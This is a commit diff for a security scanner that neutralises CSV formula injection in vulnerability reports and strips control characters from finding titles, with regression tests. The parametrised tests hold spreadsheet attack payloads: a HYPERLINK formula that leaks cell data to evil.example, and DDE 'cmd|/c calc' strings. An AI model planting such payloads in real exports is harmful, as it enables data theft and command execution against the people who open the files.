csv injection hardening (#1203)

* fix(report): neutralize CSV formula injection in vulnerabilities.csv

write_vulnerabilities() wrote finding titles straight into vulnerabilities.csv.
The csv module escapes CSV syntax but has no notion of spreadsheet formula
triggers, so a title beginning with =, +, -, @, tab or CR reached the cell
intact and was evaluated when a human opened the file (CWE-1236).

That input is attacker-influenced by design: Strix scans untrusted targets and
the agent quotes target content verbatim into finding titles, so a scanned page
can dictate a cell's literal contents. _validate_required_text only checks the
title is non-blank.

Add csv_safe() and apply it to every cell written. A value starting with a
formula trigger is prefixed with an apostrophe, the standard mitigation:
spreadsheets render the rest as literal text and hide the apostrophe.

This follows the module's existing safe_fence() precedent, which already guards
the markdown path against the same class of attacker-influenced content.

Adds regression tests covering the six trigger characters, that the payload
survives intact behind the guard, and that benign titles are untouched.

* report: single-line titles, exact CSV bytes, accurate csv_safe docstring

Strip control characters from finding titles at the ReportState choke point so
the guard in the CSV writer is defense-in-depth rather than the only layer, and
write artifacts with newline="" so the CSV's own \r\n terminators are not
rewritten to \r\r\n on Windows.

* report: normalize hydrated titles on resume

* report: rewrite finding markdown when resume cleans its title

---------

Co-authored-by: itzzdev09 <devved90@gmail.com>

strix/report/state.py

@@ -1,5 +1,6 @@
 import json
 import logging
+import re
 import subprocess
 import threading
 from collections.abc import Callable
@@ -32,6 +33,8 @@ logger = logging.getLogger(__name__)
 
 _global_report_state: Optional["ReportState"] = None
 
+_CONTROL_CHARS = re.compile(r"[\x00-\x1f\x7f]+")
+
 
 def _strix_version() -> str | None:
     """Best-effort package version for the SARIF tool.driver.version field."""
@@ -41,6 +44,17 @@ def _strix_version() -> str | None:
         return None
 
 
+def _clean_title(title: str) -> str:
+    """Return a single-line finding title.
+
+    A title quotes text from the scanned target, so it can carry newlines, tabs or
+    other control characters. Those break every artifact that renders the title on
+    one line, such as the markdown heading, the CSV cell and the TUI list. Control
+    characters become spaces and runs of whitespace collapse to one space.
+    """
+    return " ".join(_CONTROL_CHARS.sub(" ", title).split())
+
+
 def _number(value: Any) -> int | float:
     try:
         return float(value or 0)
@@ -222,8 +236,15 @@ class ReportState:
                 )
             self.vulnerability_reports = [r for r in data if isinstance(r, dict)]
             for r in self.vulnerability_reports:
+                title = r.get("title")
+                stale_md = False
+                if isinstance(title, str):
+                    r["title"] = _clean_title(title)
+                    stale_md = r["title"] != title
                 rid = r.get("id")
-                if isinstance(rid, str):
+                # A finding already on disk keeps its markdown, unless cleaning
+                # changed the title: the heading on disk then needs a rewrite.
+                if isinstance(rid, str) and not stale_md:
                     self._saved_vuln_ids.add(rid)
             logger.info(
                 "report state hydrated %d vulnerability report(s)",
@@ -266,7 +287,7 @@ class ReportState:
 
         report: dict[str, Any] = {
             "id": report_id,
-            "title": title.strip(),
+            "title": _clean_title(title),
             "severity": severity.lower().strip(),
             "timestamp": datetime.now(UTC).strftime("%Y-%m-%d %H:%M:%S UTC"),
         }

strix/report/writer.py

@@ -26,10 +26,33 @@ logger = logging.getLogger(__name__)
 
 _SEVERITY_ORDER = {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4}
 
+_CSV_FORMULA_PREFIXES = ("=", "+", "-", "@", "\t", "\r")
+
 _FENCE_RE = re.compile(r"^```([^\n`]*)\r?\n(.*?)\r?\n?```$", re.DOTALL)
 _BACKTICK_RUN = re.compile(r"`+")
 
 
+def csv_safe(value: object) -> str:
+    """Return ``value`` as a CSV cell a spreadsheet will not treat as a formula.
+
+    Excel, LibreOffice and Sheets evaluate a cell whose first character is one of
+    ``= + - @``, tab or carriage return. The :mod:`csv` module quotes CSV syntax
+    but has no notion of formula triggers, so such a value reaches the cell intact
+    and is executed on open (CWE-1236). Vulnerability titles quote text from the
+    scanned target, which is exactly the attacker-influenced input this guards
+    against.
+
+    Prefixing with an apostrophe is the standard mitigation (OWASP): the rest of
+    the cell is kept as literal text instead of being evaluated. Excel shows the
+    apostrophe when it opens a ``.csv`` directly, which is cosmetic — the point is
+    that nothing runs.
+    """
+    text = str(value)
+    if text.startswith(_CSV_FORMULA_PREFIXES):
+        return "'" + text
+    return text
+
+
 def safe_fence(content: str) -> str:
     """Return a backtick fence that ``content`` cannot break out of.
 
@@ -151,11 +174,11 @@ def write_vulnerabilities(
     for report in sorted_reports:
         csv_writer.writerow(
             {
-                "id": report["id"],
-                "title": report["title"],
-                "severity": report["severity"].upper(),
-                "timestamp": report["timestamp"],
-                "file": f"vulnerabilities/{report['id']}.md",
+                "id": csv_safe(report["id"]),
+                "title": csv_safe(report["title"]),
+                "severity": csv_safe(report["severity"].upper()),
+                "timestamp": csv_safe(report["timestamp"]),
+                "file": csv_safe(f"vulnerabilities/{report['id']}.md"),
             },
         )
     atomic_write_text(csv_path, csv_buf.getvalue())
@@ -176,11 +199,17 @@ def write_vulnerabilities(
 
 
 def atomic_write_text(path: Path, payload: str) -> None:
-    """Write *payload* to *path* via a sibling temp file and an atomic rename."""
+    """Write *payload* to *path* via a sibling temp file and an atomic rename.
+
+    ``newline=""`` disables newline translation so *payload* lands byte-for-byte:
+    the CSV index carries its own ``\\r\\n`` terminators, which text mode would turn
+    into ``\\r\\r\\n`` on Windows.
+    """
     path.parent.mkdir(parents=True, exist_ok=True)
     with tempfile.NamedTemporaryFile(
         mode="w",
         encoding="utf-8",
+        newline="",
         dir=str(path.parent),
         prefix=f".{path.name}.",
         suffix=".tmp",

tests/test_list_reports.py

@@ -2,6 +2,7 @@
 
 from __future__ import annotations
 
+import json
 from typing import TYPE_CHECKING
 
 import pytest
@@ -27,6 +28,51 @@ def report_state(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> ReportState
     return state
 
 
+def test_add_vulnerability_report_strips_control_chars_from_title(
+    report_state: ReportState,
+) -> None:
+    # A title quotes text from the scanned target, so it can carry newlines or
+    # tabs that break the markdown heading, the CSV cell and the TUI list.
+    report_id = report_state.add_vulnerability_report(
+        title="\tXSS in\r\n search\x00 form ",
+        severity="medium",
+        target="https://app.example.com",
+    )
+    report = next(r for r in report_state.vulnerability_reports if r["id"] == report_id)
+    assert report["title"] == "XSS in search form"
+
+
+def test_hydrate_from_run_dir_strips_control_chars_from_title(
+    report_state: ReportState,
+) -> None:
+    # A run started before titles were normalized can hold control characters on
+    # disk, and resume re-exports those titles to the CSV, the SARIF and the TUI.
+    (report_state.get_run_dir() / "vulnerabilities.json").write_text(
+        json.dumps(
+            [
+                {
+                    "id": "vuln-0001",
+                    "title": "XSS in\r\n search\tform",
+                    "severity": "medium",
+                    "timestamp": "2026-01-01 00:00:00 UTC",
+                }
+            ]
+        ),
+        encoding="utf-8",
+    )
+
+    md_path = report_state.get_run_dir() / "vulnerabilities" / "vuln-0001.md"
+    md_path.parent.mkdir(exist_ok=True)
+    md_path.write_text("# XSS in\r\n search\tform\n", encoding="utf-8")
+
+    report_state.hydrate_from_run_dir()
+    report_state.save_run_data()
+
+    assert report_state.vulnerability_reports[0]["title"] == "XSS in search form"
+    # The markdown on disk holds the raw heading, so resume must rewrite it.
+    assert md_path.read_text(encoding="utf-8").startswith("# XSS in search form\n")
+
+
 def _seed(state: ReportState) -> None:
     state.add_vulnerability_report(
         title="Reflected XSS in search",

tests/test_report_writer.py

@@ -9,6 +9,7 @@ from typing import TYPE_CHECKING, Any
 import pytest
 
 from strix.report.writer import (
+    atomic_write_text,
     read_run_record,
     render_vulnerability_md,
     write_executive_report,
@@ -163,6 +164,64 @@ def test_write_vulnerabilities_creates_markdown_csv_and_json(tmp_path: Path) ->
     assert csv_rows[0]["severity"] == "CRITICAL"
 
 
+@pytest.mark.parametrize(
+    "payload",
+    [
+        '=HYPERLINK("http://evil.example/leak?d="&A1,"View")',
+        "+cmd|'/c calc'!A1",
+        "@SUM(1+1)*cmd|'/c calc'!A1",
+        "-2+3+cmd|'/c calc'!A1",
+        "\t leading tab",
+        "\r leading carriage return",
+    ],
+)
+def test_write_vulnerabilities_csv_neutralizes_formula_injection(
+    tmp_path: Path,
+    payload: str,
+) -> None:
+    # Titles quote text from the scanned target, so a finding title can begin with
+    # a spreadsheet formula trigger. csv escapes CSV syntax but not formula
+    # triggers, so the cell has to be neutralized before it is written.
+    write_vulnerabilities(tmp_path, [_sample_report(title=payload)], set())
+
+    csv_rows = list(
+        csv.DictReader((tmp_path / "vulnerabilities.csv").read_text(encoding="utf-8").splitlines()),
+    )
+    title = csv_rows[0]["title"]
+    assert title.startswith("'")
+    assert not title.startswith(("=", "+", "-", "@", "\t", "\r"))
+
+
+def test_write_vulnerabilities_csv_preserves_payload_after_guard(tmp_path: Path) -> None:
+    payload = "=1+1"
+    write_vulnerabilities(tmp_path, [_sample_report(title=payload)], set())
+
+    csv_rows = list(
+        csv.DictReader((tmp_path / "vulnerabilities.csv").read_text(encoding="utf-8").splitlines()),
+    )
+    assert csv_rows[0]["title"] == "'=1+1"  # guard prefix only, payload intact
+
+
+def test_write_vulnerabilities_csv_leaves_benign_titles_unchanged(tmp_path: Path) -> None:
+    write_vulnerabilities(tmp_path, [_sample_report(title="SQL Injection in /login")], set())
+
+    csv_rows = list(
+        csv.DictReader((tmp_path / "vulnerabilities.csv").read_text(encoding="utf-8").splitlines()),
+    )
+    assert csv_rows[0]["title"] == "SQL Injection in /login"
+
+
+def test_atomic_write_text_keeps_payload_byte_for_byte(tmp_path: Path) -> None:
+    # The CSV index carries its own \r\n terminators, so newline translation would
+    # turn every row ending into \r\r\n on Windows.
+    payload = "a,b\r\nc,d\r\n"
+    path = tmp_path / "index.csv"
+
+    atomic_write_text(path, payload)
+
+    assert path.read_bytes() == payload.encode("utf-8")
+
+
 def test_write_vulnerabilities_skips_already_saved_ids(tmp_path: Path) -> None:
     reports = [_sample_report(id="vuln-0001")]
     saved: set[str] = {"vuln-0001"}